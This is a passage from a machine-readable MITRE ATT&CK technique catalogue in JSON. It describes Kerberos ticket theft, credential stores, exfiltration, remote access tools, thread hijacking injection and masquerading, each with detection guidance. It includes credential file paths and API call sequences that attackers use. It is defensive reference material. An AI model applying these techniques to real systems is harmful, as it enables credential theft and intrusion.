can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)","modified":"2022-04-19T17:06:53.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Exploit Public-Facing Application","x_mitre_detection":"Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Network Traffic: Network Traffic Content","Application Log: Application Log Content"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tim (Wadhwa-)Brown","Cody Thomas, SpecterOps"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","type":"attack-pattern","created":"2020-02-11T19:12:46.830Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1558","url":"https://attack.mitre.org/techniques/T1558"},{"external_id":"CAPEC-652","source_name":"capec","url":"https://capec.mitre.org/data/definitions/652.html"},{"source_name":"ADSecurity Kerberos Ring Decoder","url":"https://adsecurity.org/?p=227","description":"Sean Metcalf. (2014, September 12). Kerberos, Active Directory’s Secret Decoder Ring. Retrieved February 27, 2020."},{"source_name":"Microsoft Klist","url":"https://docs.microsoft.com/windows-server/administration/windows-commands/klist","description":"Microsoft. (2021, March 3). klist. Retrieved October 14, 2021."},{"source_name":"MIT ccache","url":"https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html","description":"Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021."},{"source_name":"Linux Kerberos Tickets","url":"https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html","description":"Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021."},{"source_name":"Brining MimiKatz to Unix","url":"https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf","description":"Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021."},{"source_name":"Kekeo","url":"https://github.com/gentilkiwi/kekeo","description":"Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021."},{"source_name":"SpectorOps Bifrost Kerberos macOS 2019","url":"https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f","description":"Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021."},{"source_name":"macOS kerberos framework MIT","url":"http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html","description":"Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021."},{"url":"https://adsecurity.org/?p=1515","description":"Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.","source_name":"ADSecurity Detecting Forged Tickets"},{"source_name":"Stealthbits Detect PtT 2019","url":"https://blog.stealthbits.com/detect-pass-the-ticket-attacks","description":"Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020."},{"url":"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf","description":"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.","source_name":"CERT-EU Golden Ticket Protection"},{"source_name":"Microsoft Kerberos Golden Ticket","url":"https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285","description":"Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020."},{"url":"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/","description":"Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.","source_name":"Microsoft Detecting Kerberoasting Feb 2018"},{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"},{"description":"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea","source_name":"Medium Detecting Attempts to Steal Passwords from Memory"}],"modified":"2022-03-08T21:45:01.934Z","name":"Steal or Forge Kerberos Tickets","description":"Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting.  Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes accessing <code>secrets.ldb</code> and <code>.secrets.mkey</code> located in <code>/var/lib/sss/secrets/</code>.","x_mitre_version":"1.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Active Directory: Active Directory Credential Request","Logon Session: Logon Session Metadata","Command: Command Execution"],"x_mitre_permissions_required":["User","root"],"x_mitre_system_requirements":["Kerberos authentication enabled"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","type":"attack-pattern","created":"2020-02-11T18:48:28.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1555","url":"https://attack.mitre.org/techniques/T1555"}],"modified":"2022-04-01T18:25:13.952Z","name":"Credentials from Password Stores","description":"Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password  or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","File: File Access","Process: OS API Execution","Process: Process Access"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["William Cain"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","type":"attack-pattern","created":"2020-03-09T12:51:45.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1567","url":"https://attack.mitre.org/techniques/T1567"}],"modified":"2021-10-15T22:50:29.607Z","name":"Exfiltration Over Web Service","description":"Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","File: File Access","Command: Command Execution","Network Traffic: Network Traffic Flow"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matt Kelly, @breakersall","Zachary Stanford, @svch0st"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"2.1","external_references":[{"source_name":"mitre-attack","external_id":"T1219","url":"https://attack.mitre.org/techniques/T1219"},{"source_name":"CrowdStrike 2015 Global Threat Report","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf","description":"CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018."},{"source_name":"CrySyS Blog TeamSpy","url":"https://blog.crysys.hu/2013/03/teamspy/","description":"CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’ tolko s razreshenija S-a. Retrieved April 11, 2018."},{"source_name":"Symantec Living off the Land","url":"https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf","description":"Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"An adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.(Citation: Symantec Living off the Land)\n\nRemote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)).\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns.(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)","modified":"2022-04-21T14:54:10.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Remote Access Software","x_mitre_detection":"Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\n[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation","Process: Process Creation","Network Traffic: Network Traffic Flow"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Wes Hurd","Vinayak Wadhwa, Lucideus","Deloitte Threat Library Team"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","type":"attack-pattern","created":"2020-09-30T17:09:31.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1583.001","url":"https://attack.mitre.org/techniques/T1583/001"},{"external_id":"CAPEC-630","source_name":"capec","url":"https://capec.mitre.org/data/definitions/630.html"},{"source_name":"CISA MSS Sep 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-258a","description":"CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020."},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"PaypalScam","description":"Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.","url":"https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/"},{"source_name":"CISA IDN ST05-016","url":"https://us-cert.cisa.gov/ncas/tips/ST05-016","description":"CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020."},{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"modified":"2021-10-16T17:09:26.334Z","name":"Domains","description":"Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Domain Name: Domain Registration","Domain Name: Active DNS","Domain Name: Passive DNS"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","type":"attack-pattern","created":"2020-02-20T21:08:52.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1560.002","url":"https://attack.mitre.org/techniques/T1560/002"},{"source_name":"PyPI RAR","url":"https://pypi.org/project/rarfile/","description":"mkz. (2020). rarfile 3.1. Retrieved February 20, 2020."},{"source_name":"libzip","url":"https://libzip.org/","description":"D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020."},{"source_name":"Zlib Github","url":"https://github.com/madler/zlib","description":"madler. (2017). zlib. Retrieved February 20, 2020."},{"url":"https://en.wikipedia.org/wiki/List_of_file_signatures","description":"Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.","source_name":"Wikipedia File Header Signatures"}],"modified":"2020-03-29T18:27:30.891Z","name":"Archive via Library","description":"An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Script: Script Execution","File: File Creation"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6","type":"attack-pattern","created":"2020-01-14T01:28:32.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.003","url":"https://attack.mitre.org/techniques/T1055/003"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"}],"modified":"2021-10-18T12:22:50.800Z","name":"Thread Execution Hijacking","description":"Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.  \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Modification","Process: Process Access","Process: OS API Execution"],"x_mitre_defense_bypassed":["Application control","Anti-virus"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e","type":"attack-pattern","created":"2017-05-31T21:31:01.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1079","url":"https://attack.mitre.org/techniques/T1079"},{"url":"http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840","description":"Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.","source_name":"SANS Decrypting SSL"},{"url":"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html","description":"Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.","source_name":"SEI SSL Inspection Risks"},{"url":"https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf","description":"Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.","source_name":"Fidelis DarkComet"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-24T14:09:11.589Z","name":"Multilayer Encryption","description":"An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"If malware uses [Standard Cryptographic Protocol](https://attack.mitre.org/techniques/T1032), SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith [Custom Cryptographic Protocol](https://attack.mitre.org/techniques/T1024), if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","macOS","Windows","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oleg Kolesnikov, Securonix","Nick Carr, Mandiant","David Lu, Tripwire","Felipe Espósito, @Pr0teus","Elastic","Bartosz Jerzman"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","type":"attack-pattern","created":"2017-05-31T21:30:38.511Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1036","url":"https://attack.mitre.org/techniques/T1036"},{"external_id":"CAPEC-177","source_name":"capec","url":"https://capec.mitre.org/data/definitions/177.html"},{"source_name":"LOLBAS Main Site","url":"https://lolbas-project.github.io/","description":"LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020."},{"source_name":"Elastic Masquerade Ball","description":"Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.","url":"http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf"},{"source_name":"Twitter ItsReallyNick Masquerading Update","url":"https://twitter.com/ItsReallyNick/status/1055321652777619457","description":"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019."}],"modified":"2021-10-18T13:24:52.973Z","name":"Masquerading","description":"Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: 